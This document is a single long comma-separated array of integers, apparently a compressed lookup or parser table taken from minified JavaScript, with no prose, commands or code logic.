0,0,0,0,0,286720,303,0,307,286720,0,0,0,0,0,0,0,0,0,0,0,0,0,663,0,792,0,307,0,0,0,0,0,0,307,139264,287139,0,0,0,307,0,0,0,0,1234,0,0,0,0,0,0,0,0,0,0,0,2414,0,0,0,0,0,307,1,24578,3,0,0,4366336,0,0,0,0,0,302,66175,0,0,0,0,1250,0,0,0,1255,0,0,0,0,0,0,0,661,0,0,0,0,0,0,0,0,378,0,363,0,0,0,0,0,4268032,306,98946,0,0,0,0,0,0,0,0,0,0,0,0,0,728,0,0,0,0,122880,0,4268032,0,0,0,0,0,0,0,0,0,0,0,0,2310144,0,0,0,0,307,4857856,4874240,0,0,4923392,0,0,0,0,0,0,0,0,0,528,528,3699,528,528,528,528,1,24578,3,0,0,0,0,0,0,0,0,0,0,0,0,304,0,304,0,304,304,304,295216,304,304,304,295216,295216,304,295216,304,304,131072,304,304,304,304,304,295216,304,304,304,304,295216,304,304,304,304,295286,295216,295216,295216,295216,295216,295216,304,304,304,304,304,0,0,304,304,295216,304,304,304,304,304,304,304,304,304,304,304,304,369,304,0,295216,304,295286,295216,295216,295216,304,304,304,295286,139264,147456,295216,295216,304,304,295216,295216,295216,304,304,304,304,304,304,304,304,304,304,304,304,304,304,304,304,295216,295286,295286,295286,295286,295286,295286,295286,295286,295286,295286,295286,295286,295286,295216,295216,295216,295216,295216,304,304,304,295216,304,304,304,304,304,304,304,295216,374,304,304,304,304,304,304,304,295216,304,295216,295216,295216,295216,295216,295216,295216,295216,295286,295286,295286,295286,295286,295286,295216,295216,1,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,0,0,0,1267,0,0,0,0,0,0,0,0,0,0,0,3170,0,0,0,0,0,0,0,6275072,0,0,0,0,0,0,0,4399804,4399804,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4399804,0,0,319488,0,0,0,0,0,0,319488,319488,0,0,0,0,0,0,0,3696,0,528,528,528,528,528,528,528,528,528,528,528,3849,528,528,528,319488,0,0,0,319488,319488,319488,319488,319488,319488,319488,319488,319488,319488,319488,319488,319488,319488,319488,319488,319488,319488,0,24578,3,0,0,4366336,253952,0,0,0,0,302,303,0,0,0,0,1282,0,0,0,0,0,0,0,0,0,0,0,1241,0,0,0,0,368,425984,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4399805,0,0,0,6275072,0,0,0,0,0,0,0,368,0,0,0,0,0,0,2357,0,0,0,0,0,0,0,0,0,3461,0,0,0,0,0,0,0,327680,327680,327680,0,0,0,0,0,0,0,0,0,0,327680,327680,1,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,327680,327680,327680,327680,327680,335872,327680,327680,327680,335872,327680,327680,327680,327680,327680,327680,49723,0,0,0,0,0,0,0,49723,49723,0,0,0,0,0,0,0,1270,0,0,0,0,0,0,0,0,0,5627904,5652480,0,5701632,0,0,0,0,0,6275072,0,0,0,0,0,0,0,0,0,0,49152,990,0,0,0,0,0,3683,0,0,0,0,0,0,0,3690,0,0,0,0,0,3836,0,0,0,0,0,0,0,0,0,0,5242880,0,0,0,0,0,0,0,5341184,0,0,0,0,0,344064,344064,344064,0,0,0,0,0,0,0,0,0,0,344064,344064,344064,344064,344064,344064,344064,344064,344064,344064,344064,344064,344064,344064,344064,344064,344064,344064,344064,344064,344064,344064,1,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,352256,352256,1,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,0,0,0,1309,0,0,0,0,0,0,0,0,1315,0,0,0,0,371,0,0,0,0,0,0,0,0,0,0,0,3438,0,0,3440,0,1,292,3,0,0,0,298,0,0,0,0,0,0,0,0,0,528,3698,528,528,528,3701,528,0,360448,360448,360448,0,0,0,0,0,0,0,0,0,0,360448,360448,360448,360448,360448,360448,360448,360448,360448,360448,360448,360448,360448,360448,360448,360448,360448,360448,360448,360448,360448,360448,1,0,3,155942,155942,296,0,636,0,0,0,302,303,0,1230,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,368,528,528,1376,528,528,528,528,528,528,528,528,528,528,528,528,528,528,2460,528,0,914,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60322,57943,57943,57943,57943,59004,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,528,57893,3998,0,4e3,528,528,528,528,58773,0,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,0,57916,57916,57916,57916,57916,528,528,528,2437,528,528,528,528,528,528,528,528,528,528,528,528,528,2446,528,2448,0,0,0,57893,57893,57893,57893,57893,57893,57893,59856,57893,57893,57893,57893,57893,57893,60873,57893,57893,57893,57893,57893,57893,57893,57893,57893,61213,57893,57893,57893,57893,61214,61215,57893,57893,57893,57893,60300,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,0,0,0,0,0,60432,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,528,0,0,0,3191,0,0,0,0,0,0,0,0,0,0,0,0,319,0,0,0,0,0,0,3682,0,0,0,0,0,0,0,0,0,0,0,0,338,0,0,0,528,57893,61069,57893,57893,57893,61072,57893,57893,57893,57893,57893,57893,57893,57893,57893,58331,0,57916,57916,57916,57916,57916,61080,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59358,61101,57916,57916,57916,57916,57916,57916,57916,57916,57916,61109,57916,57916,57916,57916,57916,57916,60360,57916,57916,57916,57916,57916,57916,57916,57916,57916,57943,60707,57943,57943,57943,57943,57943,57943,57943,57943,57943,61138,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59568,57943,57943,57943,528,528,3852,3853,528,528,528,528,528,528,528,528,57893,57893,57893,57893,57893,57893,57893,57893,57893,58291,57893,57893,57943,57943,57943,61251,57943,57943,57943,57943,61252,61253,57943,57943,57943,57943,57943,57943,57943,58468,57943,57943,57943,57943,528,528,528,898,0,0,3675,0,0,3929,0,0,0,0,0,0,0,0,0,0,695,0,0,0,0,368,528,528,57893,57893,57893,57893,57893,57893,61299,57893,57893,57893,57893,57893,57893,61305,57893,57893,57893,61309,57893,57916,57916,57916,57916,57916,57916,61315,57916,57916,57916,57916,57916,57943,57943,61128,57943,57943,57943,57943,57943,57943,57943,57943,57943,60066,57943,57943,57943,57943,57943,57943,57916,57916,61321,57916,57916,57916,61325,57916,57943,57943,57943,57943,57943,57943,61331,57943,528,1951,528,2283,528,57893,59394,57893,59632,57893,2290,0,2291,0,0,0,0,0,417792,0,417792,0,0,0,0,310,0,0,0,0,0,316,0,0,0,0,0,0,0,0,0,0,1328,0,0,0,0,0,528,528,57893,57893,57893,57893,61511,57893,57893,57893,57893,57893,57893,57893,57893,57893,58826,57893,57893,57893,57893,57893,57893,57916,57916,57916,57916,61524,57916,57916,57916,57916,57916,57916,57916,57916,57916,57943,57943,57943,60024,57943,60026,57943,57943,57943,57943,57943,61537,57943,57943,57943,57943,57943,57943,57943,57943,57943,0,0,0,0,0,0,4244,528,528,528,57893,57893,57893,57893,57916,57916,57916,57916,57943,57943,57943,57943,0,0,0,0,1310,0,0,0,0,0,0,0,0,0,1316,1269,0,528,528,57893,57893,57916,57916,57943,57943,0,528,57893,57916,57943,0,528,57893,57916,57943,0,528,57893,57916,57943,0,0,0,0,376832,376832,376832,0,0,0,0,0,0,0,0,0,0,0,0,346,0,0,0,0,420,1,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,0,0,0,1731,0,0,0,0,0,0,0,0,0,0,0,648,0,0,0,0,0,0,0,0,4268780,0,0,0,0,0,0,0,0,0,0,0,0,6119424,0,6168576,0,0,0,0,308,0,0,0,0,0,0,0,0,0,0,0,0,354,355,356,0,0,393685,393685,393685,0,0,0,0,0,0,0,0,0,0,0,0,368,0,0,245760,0,0,475136,0,0,0,0,0,0,0,0,0,0,0,0,0,761,0,0,305,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,411,0,421,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,0,0,0,1731,0,0,0,0,1738,0,1740,0,0,0,0,0,0,3180,0,0,0,0,0,0,0,0,0,352256,0,352256,352256,0,0,0,305,306,307,0,0,0,0,0,0,0,0,0,0,0,0,0,1185,0,0,0,0,0,748,421,0,0,0,0,0,0,0,0,0,0,0,337,0,0,0,0,57916,0,0,0,748,57893,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,528,528,3413,57893,57893,60760,1725,0,0,0,1731,1732,0,0,0,0,0,0,0,0,0,0,741,0,0,0,0,0,0,0,0,1252,1825,0,0,0,0,1259,1259,0,0,0,0,0,0,0,4083,0,4085,0,528,528,528,528,528,528,528,528,528,528,3848,528,528,528,528,0,0,2293,1732,2294,0,0,0,0,0,0,0,0,0,0,0,368,368,1212,0,0,528,528,2499,2932,0,0,0,0,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59860,528,528,528,2932,0,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,0,0,2592,0,0,417792,0,0,0,0,417792,0,0,0,0,0,310,0,310,0,0,0,0,0,4151,4152,4153,528,528,528,4156,528,4158,528,528,0,0,0,0,0,0,57893,57893,57893,57893,57893,57893,57893,60283,417792,417792,0,0,417792,417792,417792,417792,417792,417792,417792,417792,417792,417792,417792,417792,418102,417792,417792,418101,418102,417792,417792,418101,417792,418101,417792,0,417792,0,0,0,0,417792,0,0,0,0,0,0,0,0,0,0,0,310,310,310,0,418101,417792,1,24578,3,0,0,4366971,0,0,0,0,0,302,303,311296,4399805,0,0,0,311296,0,0,0,0,0,0,0,0,0,0,800,0,0,0,0,0,0,0,0,4268032,306,307,0,434176,0,0,0,0,0,0,0,0,0,0,0,381,0,384,0,0,0,0,0,6275072,0,0,0,0,0,0,0,0,4399805,0,0,0,0,0,363,0,0,0,0,0,0,368,0,296,0,0,914,913,913,913,913,913,4858769,4875153,913,913,913,913,913,913,913,913,913,5628817,5653393,913,5702545,913,913,913,913,5448593,913,5464977,913,5481361,5563281,913,913,913,5637009,913,5686161,913,913,5751697,913,6275985,913,913,913,913,913,913,913,913,913,0,0,990,989,989,989,989,6087645,4817809,4359057,4359057,4359057,4359057,6087569,0,5087232,0,5931008,4358144,989,989,5260253,989,989,989,989,989,989,989,989,5415901,989,5448669,989,5465053,989,5481437,5563357,989,989,989,5637085,989,5686237,989,989,5751773,989,989,989,989,989,989,6300637,989,989,989,989,989,989,989,989,989,989,5112797,989,989,989,989,989,989,5874653,989,989,989,989,989,989,989,989,989,989,989,6276061,989,989,989,4858845,4875229,989,989,989,989,989,989,989,989,989,989,989,989,989,5178333,989,989,4359057,5637009,4359057,5686161,4359057,4359057,5751697,4359057,4359057,4359057,4359057,4359057,5874577,4359057,4359057,4359057,4359057,5186449,4359057,5235601,5301137,4359057,4359057,5407633,5530513,4359057,4359057,4359057,4359057,4359057,6300561,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,5112721,4359057,4359057,4359057,4359057,989,989,5809041,4359057,4359057,4359057,4826001,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,5178257,4359057,4359057,4359057,4359057,4359057,5243793,4359057,4359057,4359057,4359057,4359057,4359057,4359057,5342097,4359057,4359057,4359057,4359057,4359057,4359057,5415825,4359057,5448593,4359057,5464977,4359057,5481361,5563281,4359057,4359057,0,0,0,913,913,913,913,913,913,913,913,913,913,913,4932497,4940689,913,913,6464401,0,0,0,0,989,989,989,989,989,989,989,989,989,4998109,989,989,5039069,989,989,989,5096413,989,5456861,989,989,989,989,989,5555165,5571549,5579741,5620701,5669853,989,989,989,5792733,5817309,989,5858269,989,989,989,989,989,989,989,989,989,989,989,989,989,989,989,989,4359057,4359057,4359057,6120413,989,6169565,989,989,989,989,989,6243293,989,6292445,989,6317021,989,989,989,989,989,5071837,989,989,989,989,989,989,989,5219293,989,5268445,4359057,4359057,4932497,4940689,4359057,4359057,4359057,4359057,4359057,4359057,5055377,4359057,4359057,4359057,4359057,4359057,4359057,6054801,4359057,4359057,4359057,0,0,0,0,5193728,0,4359057,5456785,4359057,4359057,4359057,4359057,4359057,5555089,5571473,5579665,5620625,5669777,4359057,4359057,4359057,5792657,5817233,4359057,5858193,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,0,5013504,0,6120337,4359057,6169489,4359057,4359057,4359057,4359057,4359057,6243217,4359057,6292369,4359057,6316945,4359057,4359057,4359057,5194641,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4907008,0,5079040,6094848,6430720,6438912,0,0,0,0,0,0,4785041,913,913,913,4850577,913,913,913,913,913,913,5055377,913,913,913,913,913,913,913,913,5211025,5489553,913,913,913,913,913,913,913,913,913,5800849,913,913,5882769,913,913,913,913,5219217,913,5268369,913,913,5309329,5317521,913,913,913,5432209,913,913,913,6333329,913,913,913,6390673,913,913,6431633,6439825,0,0,0,0,0,0,0,393685,0,393685,393685,393685,393685,393685,393685,393685,393685,393685,393685,393685,393685,393685,393685,0,393685,0,4785117,989,989,989,4850653,989,989,989,989,989,4916189,989,4957149,4973533,989,989,989,6030301,989,989,989,989,6161373,989,989,989,989,989,989,989,6325213,4359057,4359057,5006225,4359057,4359057,4359057,5120913,5137297,989,989,5309405,5317597,989,989,989,5432285,989,5489629,989,989,989,989,989,989,5325789,5374941,5538781,5546973,5587933,5735389,5972957,989,6046685,989,6104029,989,989,989,6185949,989,989,989,6284253,989,989,6333405,989,989,989,6390749,989,989,6431709,6439901,4785041,4359057,4359057,4359057,4850577,4359057,4359057,4359057,4359057,4359057,4916113,4359057,4358144,4358144,4358144,4358144,4358144,913,913,913,913,913,0,0,0,0,0,0,0,319488,0,0,0,0,0,0,0,0,0,0,319488,0,4957073,4973457,4359057,4359057,4359057,4359057,4359057,4359057,5071761,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,6275985,4359057,4359057,4359057,4359057,4359057,4359057,4359057,5219217,4359057,5268369,4359057,4359057,5309329,5317521,4359057,4359057,4359057,5432209,4359057,5489553,4359057,4359057,4359057,5211025,4359057,4359057,4359057,4359057,5292945,4359057,4359057,4359057,4359057,5366673,4359057,4359057,4359057,4359057,6390673,4359057,4359057,6431633,6439825,4358144,4358144,4358144,6266880,6488064,913,913,913,6267793,6488977,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,730,4358144,4358144,4358144,0,0,913,913,4842385,913,913,913,4899729,913,913,913,913,913,913,913,6103953,913,913,913,6185873,913,913,913,6284177,913,913,5473169,5522321,913,913,913,913,5596049,5710737,5718929,913,5825425,5866385,913,913,913,913,5243793,913,913,913,913,913,913,913,5342097,913,913,913,0,0,989,989,989,4826077,989,989,989,989,989,989,989,0,913,4359057,4359057,4359057,4359057,4359057,4858769,4875153,5923729,913,913,6022033,913,6038417,913,913,6079377,6112145,913,6177681,6210449,913,6235025,913,913,913,913,6243217,913,6292369,913,6316945,913,913,913,913,913,913,913,4998033,913,913,5038993,913,913,913,5096337,5104529,5284829,989,989,989,989,5473245,5522397,989,989,989,989,5596125,5710813,5719005,989,5825501,5866461,989,989,5923805,989,989,6022109,989,6038493,989,989,6079453,6112221,989,6177757,6210525,989,6235101,989,989,989,989,989,989,989,4359057,4359057,4842385,4359057,4359057,4359057,4899729,4359057,5284753,4359057,4359057,4359057,4359057,5473169,5522321,4359057,4359057,4359057,4359057,5596049,5710737,5718929,4359057,4359057,4359057,6103953,4359057,4359057,4359057,6185873,4359057,4359057,4359057,6284177,4359057,4359057,6333329,4359057,4359057,4923392,4358144,4358144,4358144,4358144,4358144,913,4924305,913,913,913,913,4366336,0,0,0,0,1779,0,0,0,0,0,0,0,0,0,0,0,3156,0,3157,0,0,5825425,5866385,4359057,4359057,5923729,4359057,4359057,6022033,4359057,6038417,4359057,4359057,6079377,6112145,4359057,6177681,6210449,4359057,6235025,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4358144,4358144,4358144,913,913,913,913,913,5194641,913,913,913,913,913,913,913,913,913,913,988,989,989,989,989,989,4358144,4358144,6029312,4358144,4358144,4358144,4358144,6160384,4358144,4358144,4358144,4358144,4358144,4358144,6406144,913,913,913,913,6325137,989,989,5006301,989,989,989,5120989,5137373,989,989,989,989,989,6226909,4359057,5063569,4359057,4359057,4359057,4359057,4359057,6226833,0,6086656,913,913,5202833,913,913,913,913,913,913,913,913,913,913,913,5890961,913,913,913,5555089,5571473,5579665,5620625,5669777,913,913,913,5792657,5817233,913,5858193,913,913,913,913,5292945,913,913,913,913,5366673,913,913,913,5456785,913,913,913,913,913,6308753,913,913,6357905,6382481,6398865,4801501,4809693,989,989,4891613,913,913,6030225,913,913,913,913,6161297,913,913,913,913,913,913,913,6407057,5104605,989,989,5202909,989,989,989,989,989,989,989,989,989,989,989,5891037,6407133,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4998033,4359057,4359057,5038993,4359057,4359057,4359057,5325713,5374865,5538705,5546897,5587857,5735313,5972881,4359057,6046609,4359057,6071185,4359057,4359057,5096337,5104529,4359057,4359057,5202833,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4358144,4358144,4358144,4358144,5890961,4359057,4359057,4359057,6030225,4359057,4359057,4359057,4359057,6161297,4359057,4359057,4359057,4359057,4359057,4359057,5800849,4359057,4359057,5882769,4359057,4359057,4359057,4359057,4359057,4359057,5628817,5653393,4359057,5702545,4359057,4359057,5809041,4359057,4359057,4359057,4359057,6407057,4358144,4358144,4358144,913,913,913,4890624,0,0,0,0,0,0,0,0,327680,0,0,0,0,0,0,0,0,319488,0,0,0,0,319488,0,319488,6397952,4801425,4809617,913,913,4891537,913,4948881,913,913,913,5047185,913,913,913,913,913,913,913,6300561,913,913,913,913,913,913,913,913,913,913,913,913,6120337,913,6169489,913,5186449,913,5235601,5301137,913,913,5407633,5530513,913,913,913,913,5899153,913,913,913,913,913,913,6054801,913,913,913,989,989,5014493,989,989,989,989,989,5194717,989,989,989,989,989,989,989,989,4359057,4359057,989,4948957,989,989,989,5047261,989,989,989,989,5186525,989,5235677,5301213,989,989,989,5211101,989,989,989,989,5293021,989,989,989,989,5366749,989,989,989,5243869,989,989,989,989,989,989,989,5342173,989,989,989,989,989,989,6464477,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,6325137,5914624,5915537,0,0,0,5407709,5530589,989,989,989,989,5899229,989,989,989,989,989,989,989,989,6308829,989,989,6357981,6382557,6398941,4801425,4809617,4359057,4359057,4891537,4359057,4948881,4359057,4359057,4359057,5047185,5899153,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,6308753,4359057,4359057,6357905,6382481,6398865,5021696,4358144,4358144,5022609,913,913,0,4980736,0,0,0,0,0,5373952,5734400,6045696,0,0,0,0,1792,0,0,0,0,0,0,0,0,0,0,0,0,0,0,114688,0,5537792,5545984,5734400,5971968,4358144,6045696,4358144,6070272,4358144,4358144,4358144,6348800,913,4866961,4883345,913,913,4916113,913,4957073,4973457,913,913,913,913,913,913,5071761,913,913,913,913,913,913,5260177,913,913,913,913,913,913,913,913,5415825,4981649,913,913,913,913,913,913,913,913,5325713,5374865,5538705,5546897,5587857,5735313,5972881,913,6046609,913,6071185,913,913,913,913,6349713,989,4867037,4883421,989,4981725,989,989,989,5800925,989,989,5882845,989,989,989,989,989,989,989,989,989,5628893,5653469,989,5702621,989,989,989,989,6071261,989,989,989,989,6349789,4359057,4866961,4883345,4359057,4981649,4359057,4359057,4359057,4359057,4359057,4359057,6464401,4358144,4358144,4358144,4358144,4358144,913,913,913,913,913,913,913,913,913,913,913,913,913,913,913,913,5178257,913,4359057,4359057,6349713,4358144,6144e3,913,6144913,0,4988928,5005312,0,0,0,0,5775360,0,0,0,0,1795,0,0,1798,0,1800,0,0,0,0,0,1806,4358144,6324224,913,913,5006225,913,913,913,5120913,5137297,913,913,913,913,913,913,913,5112721,913,913,913,913,913,5284753,913,913,4358144,4358144,4358144,4358144,4358144,4358144,4358144,6053888,4358144,4358144,913,913,5014417,913,913,913,913,913,5874577,913,913,913,913,913,913,913,913,913,913,913,913,913,989,989,989,4358144,6094848,913,4907921,913,5079953,913,5227409,913,5743505,913,913,913,6095761,913,989,989,4932573,4940765,989,989,989,989,989,989,5055453,989,989,989,989,989,989,6054877,989,989,989,4359057,4359057,5014417,4359057,4359057,4359057,4907997,989,5080029,989,5227485,989,5743581,989,989,989,6095837,989,4359057,4907921,4359057,5079953,4359057,5227409,4359057,5743505,4359057,4359057,4359057,6095761,4359057,5062656,0,0,0,0,0,4358144,4358144,0,913,913,913,913,913,913,0,0,0,0,0,0,0,0,4956160,4964352,0,0,0,0,0,0,0,0,4816896,4358144,4358144,4358144,4358144,6086656,4817809,913,913,913,913,6087569,4817885,5332992,5980160,4358144,913,5333905,5981073,913,989,5333981,5981149,989,4359057,5333905,5981073,4359057,0,0,0,0,1811,0,0,0,0,0,0,0,0,0,1820,0,0,0,0,1825,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,528,5439488,5128192,4358144,5129105,913,5129181,989,5129105,4359057,0,4358144,913,989,4359057,0,4358144,913,989,4359057,6004736,6004736,6005649,6005725,6005649,0,0,0,450560,450560,0,0,0,0,0,0,0,0,0,0,0,0,0,0,375,0,450560,450560,1,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,0,0,0,1876,1877,0,0,0,0,0,0,0,0,0,0,1867,0,0,1870,0,0,0,0,0,196608,0,0,0,106496,0,0,4284416,0,0,0,0,0,0,0,417792,0,0,417792,0,0,417792,0,417792,0,0,0,0,139264,147456,417792,0,0,0,417792,196608,0,0,5816320,6291456,0,0,0,0,0,0,0,0,0,0,0,400,0,0,0,0,0,0,0,0,0,0,303,0,0,307,0,0,0,4956160,4964352,0,0,0,0,0,0,0,466944,0,0,0,0,0,0,0,0,0,5480448,0,0,0,0,0,0,6430720,6438912,914,0,0,0,914,0,4784128,0,0,0,4849664,0,0,0,0,0,648,0,0,0,0,0,0,818,0,0,0,0,0,658,659,0,0,0,0,0,0,0,0,0,1272,0,0,0,0,0,0,0,0,6332416,0,0,0,6389760,0,0,6430720,6438912,990,0,0,0,990,4358144,4358144,4358144,914,0,0,0,4841472,0,0,0,4898816,0,0,0,0,0,0,2383,0,0,0,0,0,0,0,0,0,2825,0,0,0,0,0,0,0,459222,459222,459222,459222,459222,459222,459222,459222,459222,459222,459222,459222,459222,459222,459222,459222,459222,459379,1,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,0,0,0,1887,0,1889,1865,528,528,528,528,528,528,528,528,3516,528,528,3519,528,528,528,60866,4358144,4358144,483328,0,0,0,0,0,0,0,0,0,0,0,0,0,1243,0,0,1,24578,3,0,0,0,0,507904,0,0,0,507904,0,0,0,0,0,0,2398,0,0,0,0,0,0,0,0,0,49723,0,0,0,0,0,327680,0,507904,507904,507904,507904,507904,507904,507904,507904,507904,507904,507904,507904,507904,507904,507904,507904,507904,507904,1,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,0,0,0,2084,0,0,0,4825088,0,0,0,0,0,0,0,0,3423,0,0,0,0,0,0,0,0,3460,0,0,0,0,0,3465,0,4268032,306,307,0,0,442368,0,0,0,0,0,0,0,0,0,0,1168,1167,0,0,0,0,0,0,0,229376,0,491520,524288,0,0,0,0,0,0,0,0,0,678,0,0,0,0,0,0,4358144,4358144,491520,0,0,0,0,0,0,0,0,0,0,0,0,0,1275,0,1277,1,24578,3,0,0,0,0,0,516096,0,0,0,516096,0,0,0,0,0,0,0,0,0,0,0,0,368,0,296,0,0,516567,516567,516567,516567,516567,516567,516567,516567,516567,516567,516567,516567,516567,516567,516567,516567,516567,516567,1,24578,0,0,0,4366336,0,0,548864,0,0,302,303,0,0,0,0,2306,0,0,0,0,0,0,0,0,0,0,0,0,5627904,0,0,0,4268032,306,307,409600,0,0,0,0,0,0,0,0,0,0,0,0,368,0,308,0,0,0,5513216,5783552,0,40960,0,0,0,0,0,0,0,0,4358144,4358144,4358144,4358144,4358144,5193728,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4907008,0,5079040,6094848,1,24578,4227365,0,0,0,0,0,0,299,0,0,0,299,0,0,0,0,0,245760,0,245760,245760,0,0,0,245760,245760,0,0,0,0,0,0,245760,0,0,0,245760,0,0,245760,245760,245760,0,0,540672,0,0,540672,0,0,0,540672,0,0,0,0,0,0,0,540672,0,0,0,0,0,0,0,0,417792,0,0,0,417792,0,0,0,0,0,1,24578,4227365,0,0,4366336,0,0,0,0,0,302,303,0,0,0,0,2328,0,0,0,0,2332,0,0,0,0,0,0,0,1879,0,0,0,0,0,0,0,0,768,0,0,771,0,0,0,0,0,0,499712,0,0,0,0,0,0,0,0,0,0,0,0,0,1291,0,0,0,0,499712,0,0,0,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,5111808,4358144,4358144,4358144,4358144,4358144,5283840,4358144,4358144,4358144,4358144,4358144,499712,0,0,0,0,0,0,0,0,0,0,0,0,0,1314,0,0,0,0,1,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,0,0,0,2355,0,0,0,0,0,0,0,0,0,0,0,1882,0,0,0,0,1,24578,3,155942,296,0,0,0,0,0,0,0,0,0,0,0,528,4087,528,4088,528,528,57893,528,57893,528,528,57893,528,528,57916,57893,528,528,57893,57893,57893,0,0,0,0,0,0,3821,0,0,0,0,57916,57893,57893,57893,57893,57893,57893,57893,57916,57916,57893,57893,57943,57893,57893,57893,0,0,0,0,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,61529,57916,57916,57916,57943,57943,58773,914,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60631,0,0,2293,0,2294,0,0,0,0,0,0,0,0,0,0,0,664,0,0,0,0,3453,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,744,1825,0,0,0,0,0,0,0,0,0,0,0,2373,0,0,0,0,0,674,0,0,0,0,0,0,0,0,0,0,1182,0,0,0,0,0,0,0,1280,0,0,0,0,0,0,0,0,0,0,0,0,0,1788,0,0,528,57894,528,57894,528,528,57894,528,528,57917,57894,528,528,57894,57894,57894,57894,57944,57944,57894,57894,57894,57894,57944,57944,57894,528,57894,57894,57917,57894,57894,57894,57894,57894,57894,57894,57917,57917,57894,57894,57944,57894,57894,57894,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,1,24578,3,155943,296,0,0,0,0,0,0,0,0,0,0,0,740,661,0,0,528,0,573440,573440,573440,0,0,0,0,0,0,0,0,0,0,0,0,368,0,516096,0,0,0,5988352,0,0,6135808,6307840,0,5996544,4800512,0,6356992,3675,0,0,0,0,0,694,0,0,0,787,0,0,0,0,806,0,0,0,1,24578,3,0,0,4366336,0,0,0,0,0,637,303,0,0,0,0,2381,0,0,0,0,0,0,0,0,0,0,0,344064,0,0,0,0,4268032,640,307,0,0,0,0,0,0,0,0,0,0,0,0,0,1804,0,0,581632,0,0,0,581632,581632,581632,581632,581632,581632,581632,581632,581632,581632,581632,581632,581632,581632,581632,581632,0,581632,0,0,0,0,0,0,0,0,0,0,0,581632,0,581632,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,746,581632,581632,1,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,0,0,0,2397,0,0,0,0,0,0,0,0,0,0,0,1225,0,0,0,0,6258688,6447104,0,0,6127616,0,6348800,5906432,0,5537792,3827,4882432,0,0,0,0,0,0,2784,0,0,0,0,0,0,0,0,0,139264,147456,0,0,0,420,0,0,0,3926,0,0,0,0,0,0,5693440,0,6496256,5144576,5136384,0,5914624,0,0,5513216,5783552,0,3926,0,0,0,0,0,0,0,0,4358144,4358144,0,0,0,0,0,0,0,0,0,0,302,0,0,306,0,0,0,0,0,0,306,237983,147456,0,0,0,306,0,0,311,312,0,0,0,0,0,0,0,0,0,0,0,0,0,1819,0,0,312,0,311,311,312,0,0,0,0,0,0,0,0,0,0,0,311,409,312,0,458,472,472,472,485,485,485,485,485,485,485,485,485,506,485,485,485,485,485,524,485,485,485,524,485,485,485,485,485,485,529,57895,529,57895,529,529,57895,529,529,57918,57895,529,529,57895,57895,57895,57895,57945,57945,57895,57895,57895,57895,57945,57945,57895,529,57895,57895,57918,57895,57895,57895,57895,57895,57895,57895,57918,57918,57895,57895,57945,57895,57895,57895,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,0,306,307,0,0,0,0,0,645,0,0,648,649,0,0,0,0,0,736,0,0,0,0,0,0,0,0,0,745,368,368,0,0,704,0,0,0,0,0,0,0,711,0,0,0,0,0,750,0,0,0,0,645,0,0,0,0,0,0,0,6299648,0,0,0,0,0,0,0,0,0,777,0,0,781,0,0,0,0,0,0,0,789,0,0,0,0,0,0,2807,0,0,0,0,0,0,0,0,0,2310,0,0,0,0,0,0,793,0,0,0,0,0,0,0,797,0,0,0,0,0,0,0,0,557056,557056,0,0,0,0,0,0,0,833,793,0,0,0,0,0,837,838,0,0,0,0,793,528,528,0,57893,57893,57893,57893,57893,57893,155942,1151,0,0,1155,0,0,0,0,2295,0,1160,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1759,528,847,851,528,528,863,528,528,528,879,528,884,528,892,528,895,528,528,909,528,57893,57893,57893,58266,58270,57893,57893,58282,57893,57893,57893,58298,57893,58303,57893,58311,57893,58314,57893,57893,58328,57893,0,57916,57916,57916,58342,58346,57916,57916,58358,57916,57916,57916,58374,57916,58379,57916,58387,57916,58390,57916,57916,58404,57916,0,0,0,0,58303,57943,57943,57943,58417,58421,57943,57943,58433,57943,57943,528,528,528,57893,57893,57893,0,0,3655,0,3657,0,0,0,0,0,2356,0,2358,0,0,0,0,